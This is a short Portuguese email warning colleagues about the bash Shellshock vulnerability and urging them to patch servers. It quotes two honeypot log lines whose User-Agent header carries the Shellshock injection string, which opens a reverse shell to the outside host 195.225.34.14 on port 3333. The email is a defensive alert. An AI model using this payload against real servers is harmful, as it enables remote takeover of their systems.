<div dir="ltr"><div>Caros amigos,</div><div><br></div><div>A vulnerabilidade do bash conhecida como shellshock foi descoberta recentemente e divulgada ontem. Ela permite a execução de comandos remotos nos servidores através dos servidores http. Os nossos honeypots já estão detectando usuários explorando esta vulnerabilidade hoje. Não percam tempo em atualizar os servidores e evitem fraudes. </div><div><br></div><div>Exemplo do que estamos detectando neste exato momento:</div><div><div><br></div><div>[26/Sep/2014:13:13:57 +0000] "GET / HTTP/1.0" 200 414 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/<a href="http://195.225.34.14/3333">195.225.34.14/3333</a> 0>&1'"</div><div>[26/Sep/2014:13:16:54 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 507 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/<a href="http://195.225.34.14/3333">195.225.34.14/3333</a> 0>&1'"</div></div><div><br></div><div>Att, </div><div><br></div><div><div dir="ltr">Flavio E. Goncalves<br><div><br></div></div></div>
</div>